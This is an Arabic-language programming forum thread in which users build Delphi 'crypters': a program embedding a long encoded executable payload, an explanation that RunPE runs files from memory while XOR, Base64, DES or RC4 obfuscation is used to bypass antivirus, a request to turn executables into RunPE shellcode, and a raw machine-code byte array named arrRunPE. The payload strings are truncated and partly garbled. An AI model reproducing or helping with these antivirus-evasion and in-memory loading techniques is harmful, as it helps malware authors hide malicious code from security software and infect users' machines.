15-01-2015, 01:11 PM
الصفحات : 1 2
16-01-2015, 01:46 AM
وعليكم السلام
هل تقصد شيء مثل هذا
هل تقصد شيء مثل هذا
PHP كود :
function File2ByteArray(const FileName: string; out ByteArray: PByteArray): Boolean;
var
hFile: HWND;
dwSize, dwRead: DWORD;
begin
Result := False;
hFile := CreateFile(PChar(FileName), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if hFile = INVALID_HANDLE_VALUE then
Exit;
ByteArray := AllocMem(dwSize);
ReadFile(hFile, ByteArray^, dwSize, dwRead, nil);
Result := True;
CloseHandle(hFile);
end;
(*
// Usage:
var
ByteArray: PByteArray;
begin
if File2ByteArray(ParamStr(0), ByteArray) then
ShowMessage(IntToHex(ByteArray[0], 2)); // Show First Byte
end;
//*)
16-01-2015, 06:19 AM
لا اخى اقصد مثل هاد
كود :
program new;
uses Windows,functions;
function getpart1:string;
begin
result:=
'tSe0a9EGa92Ka92GRs+Ga2YGa92Ga92Gq92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92GA92Ga9wFAfwG99bTiIYHt5snnFZvux3Wul/tul7ziFFn/lx/vB3ozR3YvVwm+VwmrD/3iFt/zFM+dPsQj92Ga92Ga90dWfTBO+Fv66FZ+HXZu/aOYlpq66BZ+HZ2+VFuO+Fv692Ga92Ga92Ga92Ga92Ga92Ga92Ga92GaC3La93SaPE'+
'GAkuen92Ga92Ga92GS92VaPkHbf2Ge92GaB2Ga92Ga90WW92Ga82Ga93Ga92GaD2Ga82Ga920a92Ka92GaP2Ga9IGa92Ga92GaF2Ga920a91fe96Gaf2Ga92GW92GW92Ga920a920a92Ga92GW92Ga92Ga92Ga92GzB+GaBYGa92Gm92GB9YGa92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga9'+
'2Ga92Ga92Ga92uaf2Gi92Ga920a93Ka92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92GlkJrwEIGa928i92Ga82Ga92Wa92GW92Ga92Ga92Ga92Ga92Gi92GyBxqyUJna92G09IGa93Ga92Ga92Ga92Ga92Ga92Ga92Ga92GaD2Ga52+ukFYyv2Ga2oOa92Gm92Ga82Ga93Ga92Ga92Ga92Ga92Ga93Ga93GKuyWsO2Ga92Ga92Ga92GaDt3njB6t'+
'QQWljJSt92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92G'+
'a92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92'+
'Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga9'+
'2Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga'+
'92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92G'+
'a92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92'+
'Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga9'+
'2Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga'+
'92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92G'+
'a92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92'+
'Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga9'+
'2Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga'+
'92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92G'+
'a92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92'+
'Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga9'+
'2Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga'+
'92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92G'+
'a92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92'+
'Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga92Ga2VWdlPQ39tsea6Tzh/WdlPhxPxsRJ2Gza/NdlPBxP/snf+UzdaVdlRDG9/s2KwTzeZ6dlPpIftsDAMGzWhzdlQGa92Ga92Ga92Ga92Ga92GRxM4WD2GRxMWWD2GRxM0WD2GRxMCWD2GRxMOWD2GRx'+
'MqWD2GRxMaWD2GRxMSWD2GRxMGWD2GRxMmWD2GRxMyWD2GRxMiWD2GRxMKWD2GRxM8WD2GRxMuWD2GRxMeWD2G+5Y1q91uO6zlRv2Ga92GaA2Ga93Ga92Ga92Ga6yCuWKRpt/JDfVMQXfCgucGa92Ga92Ha92Ga92Ga92GmEB/+lNxvA6Ga92Ga92Ga92Ga92Ha96G98RGa92Ga91lRszlRszlRv2Ga92eXz2GiD3Ga96Ga93OWT2Gb92ma92Ga'+
'93qRHULg87GaEI0q93gWD2G483Ga1Q0q92yiz2GAhopq90fD83Ga6znbf2Ga32Dq92Na92G/8tGa9UGa92qZT2Gbv2Ga4oCq92Na92G68pGa9UGa93GZD2Gbv2Ga6IBq92Na92GH8hGa9UGa93mYj2Gbv2Ga6o9q92Na92G88dGa9UGa93yYT2Gbv2GaBI9q92Na92GJ8ZGaCRIfR5WZxgGa92Ga92Ga92Ga92Gxf2Ga92Ga92Ga92Ga92Qa9cK'+16-01-2015, 06:53 AM
PHP كود :
Function mFileToStr(Ruta: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(Ruta), OF_READ);
uBytes:= GetFileSize(sFile, nil);
SetLength(Result, uBytes);
_lread(sfile, @result[1], uBytes);
_lclose(sFile);
end;
16-01-2015, 02:49 PM
يجب أن تكون على دارية بما تفعل
إذا كنت ستشغل ملف في ذاكرة أي ما يسمى RunPE
أعتقد ان ردي صحيح لما طلبت ولو اختلف المضمون
وما وضعته ما هو إلى تمويه وخدع لبرامج الحماية (XOR وماشبهها واستعمال Base64, DES, RC4)
AntiVirus Bypass.
يعني في الأخير عند تشغيل سترجع بيتات الملف إلى حالتها وإلا فلن تشتغل العملية
إذا كنت ستشغل ملف في ذاكرة أي ما يسمى RunPE
أعتقد ان ردي صحيح لما طلبت ولو اختلف المضمون
وما وضعته ما هو إلى تمويه وخدع لبرامج الحماية (XOR وماشبهها واستعمال Base64, DES, RC4)
AntiVirus Bypass.
يعني في الأخير عند تشغيل سترجع بيتات الملف إلى حالتها وإلا فلن تشتغل العملية
17-01-2015, 09:25 AM
كيف يتم عمل بـرنامج يقوم بتـحويل الملف التنفيذى الى shellcode runpe
17-01-2015, 10:19 AM
PEPSI2 كتب :كيف يتم عمل بـرنامج يقوم بتـحويل الملف التنفيذى الى shellcode runpeفي المرفقات يوجد مثال
شاهد هذا الموضوع
18-01-2015, 03:29 PM
تمام أخي
كيف يتم عمل الملف التنفيذي للمشروع هكذا
كيف يتم عمل الملف التنفيذي للمشروع هكذا
كود :
unit _Patch;
Interface
Uses Windows;
type
TbytArray = array[0..63487] of byte;
var
RunPEProc :procedure(arr:TbytArray);
arrRunPE: array[0..693] of Byte = (
85,139,236,129,196,164,250,255,255,137,69,252,232,27,2,0,0,137,133,204,253,255,255
,187,24218-01-2015, 04:17 PM
18-01-2015, 06:40 PM
onexite كتب :ابحث في هذه المواضيع
عذرا - لم يتم العثور على ما يطابق بحثك. حاول بطريقة اخرى.
الصفحات : 1 2